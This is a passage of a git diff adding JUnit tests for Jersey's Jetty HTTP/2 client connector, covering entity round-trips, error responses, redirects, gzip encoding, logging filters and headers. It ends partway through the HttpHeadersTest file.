+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class EntityResource {
+
+        @GET
+        public Person get() {
+            return new Person("John", "Doe");
+        }
+
+        @POST
+        public Person post(Person entity) {
+            return entity;
+        }
+
+    }
+
+    @XmlRootElement
+    public static class Person {
+
+        private String firstName;
+        private String lastName;
+
+        public Person() {
+        }
+
+        public Person(String firstName, String lastName) {
+            this.firstName = firstName;
+            this.lastName = lastName;
+        }
+
+        public String getFirstName() {
+            return firstName;
+        }
+
+        public void setFirstName(String firstName) {
+            this.firstName = firstName;
+        }
+
+        public String getLastName() {
+            return lastName;
+        }
+
+        public void setLastName(String lastName) {
+            this.lastName = lastName;
+        }
+
+        @Override
+        public String toString() {
+            return firstName + " " + lastName;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider())
+                .register(JacksonFeature.class);
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+                .post(Entity.xml(new Person("John", "Doe"))).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+                .get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
new file mode 100644
index 0000000..64d8198
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(ErrorResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+
+    @Path("/test")
+    public static class ErrorResource {
+        @POST
+        public Response post(String entity) {
+            return Response.serverError().build();
+        }
+
+        @Path("entity")
+        @POST
+        public Response postWithEntity(String entity) {
+            return Response.serverError().entity("error").build();
+        }
+    }
+
+    @Test
+    public void testPostError() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntity() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntityAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..2604f9b
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class FollowRedirectsTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+    @Path("/test")
+    public static class RedirectResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("redirect")
+        public Response redirect() {
+            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(RedirectResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    private static class RedirectTestFilter implements ClientResponseFilter {
+        public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+        @Override
+        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+            if (responseContext instanceof ClientResponse) {
+                ClientResponse clientResponse = (ClientResponse) responseContext;
+                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+            }
+        }
+    }
+
+    @Test
+    public void testDoFollow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        Response r = t.path("test/redirect")
+                .register(RedirectTestFilter.class)
+                .request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+        c.close();
+    }
+
+    @Test
+    public void testDoFollowPerRequestOverride() {
+        WebTarget t = target("test/redirect");
+        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+        Response r = t.request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDontFollow() {
+        WebTarget t = target("test/redirect");
+        assertEquals(303, t.request().get().getStatus());
+    }
+
+    @Test
+    public void testDontFollowPerRequestOverride() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget t = client.target(u);
+        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        Response r = t.path("test/redirect").request().get();
+        assertEquals(303, r.getStatus());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..29bb444
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    @Path("/")
+    public static class Resource {
+
+        @POST
+        public byte[] post(byte[] content) {
+            return content;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(Resource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(GZipEncoder.class);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target();
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+        assertTrue(cr.hasEntity());
+        cr.close();
+    }
+
+    @Test
+    public void testPostChunked() {
+        ClientConfig config = new ClientConfig();
+        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.text("POST"));
+        assertTrue(cr.hasEntity());
+        cr.close();
+
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
new file mode 100644
index 0000000..ac6870a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+    private static final String ROOT_PATH = "helloworld";
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testConnection() {
+        Response response = target().path(ROOT_PATH).request("text/plain").get();
+        assertEquals(200, response.getStatus());
+    }
+
+    @Test
+    public void testClientStringResponse() {
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+    }
+
+    @Test
+    public void testAsyncClientRequests() throws InterruptedException {
+        final int REQUESTS = 20;
+        final CountDownLatch latch = new CountDownLatch(REQUESTS);
+        final long tic = System.currentTimeMillis();
+        for (int i = 0; i < REQUESTS; i++) {
+            final int id = i;
+            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+                @Override
+                public void completed(Response response) {
+                    try {
+                        final String result = response.readEntity(String.class);
+                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+                    } finally {
+                        latch.countDown();
+                    }
+                }
+
+                @Override
+                public void failed(Throwable error) {
+                    error.printStackTrace();
+                    latch.countDown();
+                }
+            });
+        }
+        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+        final long toc = System.currentTimeMillis();
+        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+    }
+
+    @Test
+    public void testHead() {
+        Response response = target().path(ROOT_PATH).request().head();
+        assertEquals(200, response.getStatus());
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals("foo/bar", response.getMediaType().toString());
+        assertEquals(0, response.getLength());
+    }
+
+    @Test
+    public void testTextPlainOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+        final String responseBody = response.readEntity(String.class);
+        _checkAllowContent(responseBody);
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+    @Test
+    public void testMissingResourceNotFound() {
+        Response response;
+
+        response = target().path(ROOT_PATH + "arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+
+        response = target().path(ROOT_PATH).path("arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientClass() {
+        Client client = client();
+        client.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterClientInstance() {
+        Client client = client();
+        client.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+    @Test
+    public void testLoggingFilterTargetClass() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(CustomLoggingFilter.class).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testLoggingFilterTargetInstance() {
+        WebTarget target = target().path(ROOT_PATH);
+        target.register(new CustomLoggingFilter()).property("foo", "bar");
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target.request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+    }
+
+    @Test
+    public void testConfigurationUpdate() {
+        Client client1 = client();
+        client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+        Client client = ClientBuilder.newClient(client1.getConfiguration());
+        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+        assertEquals(1, CustomLoggingFilter.preFilterCalled);
+        assertEquals(1, CustomLoggingFilter.postFilterCalled);
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
new file mode 100644
index 0000000..9823284
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
+                @HeaderParam("X-CLIENT") String xClient,
+                @HeaderParam("X-WRITER") String xWriter,
+                String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyHttp2ConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    @Test
+    public void testHttp2Presence() {
+        final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+        assertTrue(provider instanceof JettyHttp2ConnectorProvider);
+
+        final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
+        assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..cb3b319
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+                @HeaderParam("Transfer-Encoding") String transferEncoding,
